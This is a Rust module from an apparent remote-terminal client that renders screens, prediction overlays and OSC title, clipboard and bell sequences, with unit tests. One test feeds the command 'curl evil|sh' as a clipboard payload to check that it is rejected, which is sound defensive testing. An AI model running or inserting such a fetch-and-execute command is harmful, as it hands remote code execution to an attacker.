use std::io::{self, Write};
use crate::predict::Overlay;
use crate::terminal::MAXIMUM_CLIPBOARD_SIZE;
use termina::escape::csi::{Csi, Cursor, DecPrivateMode, DecPrivateModeCode, Mode, Sgr};
use termina::style::{ColorSpec, Intensity, RgbColor, Underline};
use termina::OneBased;
use vt100::{Color as VtColor, Screen};
fn to_spec(c: VtColor) -> ColorSpec {
match c {
VtColor::Default => ColorSpec::Reset,
VtColor::Idx(i) => ColorSpec::PaletteIndex(i),
VtColor::Rgb(r, g, b) => ColorSpec::from(RgbColor::new(r, g, b)),
}
}
fn move_to(row: u16, col: u16) -> Csi {
Csi::Cursor(Cursor::Position {
line: OneBased::from_zero_based(row),
col: OneBased::from_zero_based(col),
})
}
fn set_mode(code: DecPrivateModeCode) -> Csi {
Csi::Mode(Mode::SetDecPrivateMode(DecPrivateMode::Code(code)))
}
fn reset_mode(code: DecPrivateModeCode) -> Csi {
Csi::Mode(Mode::ResetDecPrivateMode(DecPrivateMode::Code(code)))
}
#[derive(PartialEq, Clone, Copy)]
struct Style {
fg: VtColor,
bg: VtColor,
bold: bool,
dim: bool,
italic: bool,
underline: bool,
inverse: bool,
}
fn emit_style(out: &mut impl Write, s: Style) -> io::Result<()> {
write!(out, "{}", Csi::Sgr(Sgr::Reset))?;
if s.bold {
write!(out, "{}", Csi::Sgr(Sgr::Intensity(Intensity::Bold)))?;
}
if s.dim {
write!(out, "{}", Csi::Sgr(Sgr::Intensity(Intensity::Dim)))?;
}
if s.italic {
write!(out, "{}", Csi::Sgr(Sgr::Italic(true)))?;
}
if s.underline {
write!(out, "{}", Csi::Sgr(Sgr::Underline(Underline::Single)))?;
}
if s.inverse {
write!(out, "{}", Csi::Sgr(Sgr::Reverse(true)))?;
}
write!(
out,
"{}{}",
Csi::Sgr(Sgr::Foreground(to_spec(s.fg))),
Csi::Sgr(Sgr::Background(to_spec(s.bg)))
)?;
Ok(())
}
pub fn render(
out: &mut impl Write,
screen: &Screen,
overlay: &Overlay,
status: Option<&str>,
) -> io::Result<()> {
let (rows, cols) = screen.size();
write!(out, "{}", set_mode(DecPrivateModeCode::SynchronizedOutput))?;
write!(out, "{}", reset_mode(DecPrivateModeCode::ShowCursor))?;
let mut cur_style: Option<Style> = None;
for row in 0..rows {
write!(out, "{}", move_to(row, 0))?;
let mut col = 0u16;
while col < cols {
let cell = screen.cell(row, col);
if let Some(c) = cell {
if c.is_wide_continuation() {
col += 1;
continue;
}
}
let pred = overlay.cell(row, col);
let concrete = pred.filter(|p| !p.unknown); let hint_underline = pred.is_some_and(|p| p.unknown && p.underline);
let style = if let Some(p) = concrete {
Style {
fg: p.fg,
bg: p.bg,
bold: false,
dim: false,
italic: false,
underline: p.underline,
inverse: false,
}
} else if let Some(c) = cell {
Style {
fg: c.fgcolor(),
bg: c.bgcolor(),
bold: c.bold(),
dim: c.dim(),
italic: c.italic(),
underline: c.underline() || hint_underline,
inverse: c.inverse(),
}
} else {
Style {
fg: VtColor::Default,
bg: VtColor::Default,
bold: false,
dim: false,
italic: false,
underline: hint_underline,
inverse: false,
}
};
if cur_style != Some(style) {
emit_style(out, style)?;
cur_style = Some(style);
}
let glyph: &str = if let Some(p) = concrete {
&p.glyph
} else if let Some(c) = cell.filter(|c| c.has_contents()) {
c.contents()
} else {
" "
};
write!(out, "{}", if glyph.is_empty() { " " } else { glyph })?;
col += 1;
}
}
write!(out, "{}", Csi::Sgr(Sgr::Reset))?;
if let Some(st) = status {
let mut line = format!(" {st} ");
let max = cols as usize;
if line.len() > max {
let mut end = max;
while end > 0 && !line.is_char_boundary(end) {
end -= 1;
}
line.truncate(end);
}
write!(
out,
"{}{}{}{}",
move_to(rows.saturating_sub(1), 0),
Csi::Sgr(Sgr::Reverse(true)),
line,
Csi::Sgr(Sgr::Reset)
)?;
}
let (crow, ccol) = overlay.cursor().unwrap_or_else(|| screen.cursor_position());
write!(out, "{}", move_to(crow, ccol))?;
if !screen.hide_cursor() {
write!(out, "{}", set_mode(DecPrivateModeCode::ShowCursor))?;
}
write!(
out,
"{}",
reset_mode(DecPrivateModeCode::SynchronizedOutput)
)?;
out.flush()
}
fn sanitize_osc(t: &str) -> String {
t.chars().filter(|c| !c.is_control()).collect()
}
fn is_base64_payload(s: &str) -> bool {
!s.is_empty()
&& s.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'+' | b'/' | b'='))
}
#[derive(Clone, Copy)]
pub struct WindowState<'a> {
pub title: &'a str,
pub icon: &'a str,
pub clipboard: &'a str,
pub bell_count: u64,
}
#[derive(Default)]
pub(super) struct OutOfBand {
title_prefix: String,
clipboard_enabled: bool,
title_initialized: bool,
last_title: String,
last_icon: String,
last_clipboard: String,
last_bell: u64,
prev_screen: Option<Screen>,
}
impl OutOfBand {
pub(super) fn with_title_prefix(title_prefix: String) -> Self {
Self {
title_prefix,
..Self::default()
}
}
#[must_use]
pub(super) fn with_clipboard(mut self, enabled: bool) -> Self {
self.clipboard_enabled = enabled;
self
}
pub(super) fn invalidate(&mut self) {
let prefix = std::mem::take(&mut self.title_prefix);
let clipboard_enabled = self.clipboard_enabled;
*self = Self::with_title_prefix(prefix).with_clipboard(clipboard_enabled);
}
pub(super) fn emit(
&mut self,
out: &mut impl Write,
screen: &Screen,
win: WindowState<'_>,
) -> io::Result<()> {
self.emit_window_title(out, win.title, win.icon)?;
if self.clipboard_enabled && win.clipboard != self.last_clipboard {
self.last_clipboard = win.clipboard.to_string();
if !win.clipboard.is_empty()
&& win.clipboard.len() <= MAXIMUM_CLIPBOARD_SIZE
&& is_base64_payload(win.clipboard)
{
write!(out, "\x1b]52;c;{}\x07", win.clipboard)?;
}
}
if win.bell_count > self.last_bell {
out.write_all(b"\x07")?;
self.last_bell = win.bell_count;
}
let mode_bytes = match &self.prev_screen {
Some(prev) => screen.input_mode_diff(prev),
None => screen.input_mode_formatted(),
};
if !mode_bytes.is_empty() {
out.write_all(&mode_bytes)?;
}
self.prev_screen = Some(screen.clone());
Ok(())
}
fn emit_window_title(
&mut self,
out: &mut impl Write,
title: &str,
icon: &str,
) -> io::Result<()> {
if self.title_initialized {
if title == self.last_title && icon == self.last_icon {
return Ok(());
}
} else {
if title.is_empty() && icon.is_empty() {
return Ok(()); }
self.title_initialized = true;
}
self.last_title = title.to_string();
self.last_icon = icon.to_string();
let icon_eq_title = icon == title;
let t = format!("{}{}", self.title_prefix, sanitize_osc(title));
let ic = if icon_eq_title {
format!("{}{}", self.title_prefix, sanitize_osc(icon))
} else {
sanitize_osc(icon)
};
if ic == t {
write!(out, "\x1b]0;{t}\x07")
} else {
write!(out, "\x1b]1;{ic}\x07\x1b]2;{t}\x07")
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::predict::{DisplayPreference, PredictionEngine};
fn screen_of(bytes: &[u8]) -> Screen {
let mut p = vt100::Parser::new(24, 80, 0);
p.process(bytes);
p.screen().clone()
}
#[test]
fn renders_authoritative_text_with_escapes() {
let screen = screen_of(b"hi");
let mut buf = Vec::new();
render(&mut buf, &screen, &Overlay::empty(), None).unwrap();
let s = String::from_utf8_lossy(&buf);
assert!(s.contains("hi"), "rendered text missing");
assert!(s.contains('\x1b'), "expected ANSI escape sequences");
}
#[test]
fn render_wraps_frame_in_synchronized_output() {
let screen = screen_of(b"x");
let mut buf = Vec::new();
render(&mut buf, &screen, &Overlay::empty(), None).unwrap();
let s = String::from_utf8_lossy(&buf);
assert!(
s.contains("\x1b[?2026h"),
"frame must begin synchronized output"
);
assert!(
s.contains("\x1b[?2026l"),
"frame must end synchronized output"
);
}
fn win<'a>(title: &'a str, icon: &'a str, clipboard: &'a str, bell: u64) -> WindowState<'a> {
WindowState {
title,
icon,
clipboard,
bell_count: bell,
}
}
#[test]
fn out_of_band_title_emits_once_and_guards_empty() {
let mut oob = OutOfBand::default();
let scr = screen_of(b"");
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("", "", "", 0)).unwrap();
assert!(
!String::from_utf8_lossy(&buf).contains("\x1b]"),
"no OSC for an unset title"
);
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("vim - file.rs", "vim - file.rs", "", 0))
.unwrap();
assert!(String::from_utf8_lossy(&buf).contains("\x1b]0;vim - file.rs\x07"));
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("vim - file.rs", "vim - file.rs", "", 0))
.unwrap();
assert!(!String::from_utf8_lossy(&buf).contains("\x1b]0;"));
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("", "", "", 0)).unwrap();
assert!(String::from_utf8_lossy(&buf).contains("\x1b]0;\x07"));
}
#[test]
fn out_of_band_splits_icon_and_title() {
let mut oob = OutOfBand::default();
let scr = screen_of(b"");
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("the title", "the-icon", "", 0))
.unwrap();
let s = String::from_utf8_lossy(&buf);
assert!(s.contains("\x1b]1;the-icon\x07"), "icon OSC 1, got {s:?}");
assert!(s.contains("\x1b]2;the title\x07"), "title OSC 2, got {s:?}");
}
#[test]
fn out_of_band_prefixes_title_and_equal_icon() {
let mut oob = OutOfBand::with_title_prefix("[koh] ".to_string());
let scr = screen_of(b"");
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("vim", "vim", "", 0)).unwrap();
assert!(
String::from_utf8_lossy(&buf).contains("\x1b]0;[koh] vim\x07"),
"combined title is prefixed, got {:?}",
String::from_utf8_lossy(&buf)
);
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("the title", "the-icon", "", 0))
.unwrap();
let s = String::from_utf8_lossy(&buf);
assert!(
s.contains("\x1b]1;the-icon\x07"),
"distinct icon unprefixed, got {s:?}"
);
assert!(
s.contains("\x1b]2;[koh] the title\x07"),
"title prefixed, got {s:?}"
);
}
#[test]
fn out_of_band_default_has_no_title_prefix() {
let mut oob = OutOfBand::default();
let mut buf = Vec::new();
oob.emit(&mut buf, &screen_of(b""), win("vim", "vim", "", 0))
.unwrap();
assert!(String::from_utf8_lossy(&buf).contains("\x1b]0;vim\x07"));
}
#[test]
fn out_of_band_clipboard_off_by_default_emits_nothing() {
let mut oob = OutOfBand::default();
let scr = screen_of(b"");
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("", "", "aGVsbG8=", 0))
.unwrap();
assert!(
!String::from_utf8_lossy(&buf).contains("\x1b]52;"),
"no OSC-52 without explicit opt-in, got {:?}",
String::from_utf8_lossy(&buf)
);
}
#[test]
fn out_of_band_forwards_clipboard_when_opted_in() {
let mut oob = OutOfBand::default().with_clipboard(true);
let scr = screen_of(b"");
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("", "", "aGVsbG8=", 0))
.unwrap();
assert!(
String::from_utf8_lossy(&buf).contains("\x1b]52;c;aGVsbG8=\x07"),
"clipboard OSC 52 forwarded when opted in"
);
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("", "", "aGVsbG8=", 0))
.unwrap();
assert!(!String::from_utf8_lossy(&buf).contains("\x1b]52;"));
}
#[test]
fn out_of_band_rejects_non_base64_clipboard_even_when_opted_in() {
let mut oob = OutOfBand::default().with_clipboard(true);
let scr = screen_of(b"");
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("", "", "curl evil|sh", 0))
.unwrap();
assert!(
!String::from_utf8_lossy(&buf).contains("\x1b]52;"),
"a non-base64 clipboard payload is rejected, got {:?}",
String::from_utf8_lossy(&buf)
);
}
#[test]
fn out_of_band_rings_bell_on_increase_only() {
let mut oob = OutOfBand::default();
let scr = screen_of(b"");
let mut warm = Vec::new();
oob.emit(&mut warm, &scr, win("", "", "", 0)).unwrap();
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("", "", "", 0)).unwrap();
assert!(buf.is_empty(), "no bell when the count is unchanged");
let mut buf = Vec::new();
oob.emit(&mut buf, &scr, win("", "", "", 3)).unwrap();
assert_eq!(buf, b"\x07", "one bell on an increase, even if it jumped");
}
#[test]
fn out_of_band_reasserts_input_modes_on_change() {
let mut oob = OutOfBand::default();
let mut warm = Vec::new();
oob.emit(&mut warm, &screen_of(b""), win("", "", "", 0))
.unwrap();
let modes = screen_of(b"\x1b[?2004h\x1b[?1000h");
let mut buf = Vec::new();
oob.emit(&mut buf, &modes, win("", "", "", 0)).unwrap();
let s = String::from_utf8_lossy(&buf);
assert!(s.contains("2004"), "bracketed-paste re-asserted, got {s:?}");
assert!(s.contains("1000"), "mouse reporting re-asserted, got {s:?}");
}
#[test]
fn renders_status_line() {
let screen = screen_of(b"");
let mut buf = Vec::new();
render(&mut buf, &screen, &Overlay::empty(), Some("link down")).unwrap();
assert!(String::from_utf8_lossy(&buf).contains("link down"));
}
#[test]
fn status_line_truncation_is_panic_free_across_all_widths() {
use crate::terminal::{MAX_DIM, MIN_DIM};
let status = "[koh] link down — resuming… 5s";
for cols in MIN_DIM..=MAX_DIM {
let screen = {
let mut p = vt100::Parser::new(MIN_DIM, cols, 0);
p.process(b"x");
p.screen().clone()
};
let mut buf = Vec::new();
render(&mut buf, &screen, &Overlay::empty(), Some(status))
.expect("render must not error or panic at any width");
}
}
#[test]
fn renders_prediction_overlay_glyph() {
let mut pe = PredictionEngine::new(DisplayPreference::Always);
pe.set_local_frame_sent(0);
let blank = screen_of(b"");
pe.new_user_byte(0, b'a', &blank); let echoed = screen_of(b"a");
pe.set_local_frame_late_acked(1);
pe.cull(50, &echoed);
pe.set_local_frame_sent(1);
pe.new_user_byte(60, b'Z', &echoed); let overlay = pe.overlay(&echoed);
assert!(
!overlay.is_empty(),
"confirmed prediction should be visible"
);
let mut buf = Vec::new();
render(&mut buf, &echoed, &overlay, None).unwrap();
assert!(
String::from_utf8_lossy(&buf).contains('Z'),
"predicted glyph not rendered"
);
}
}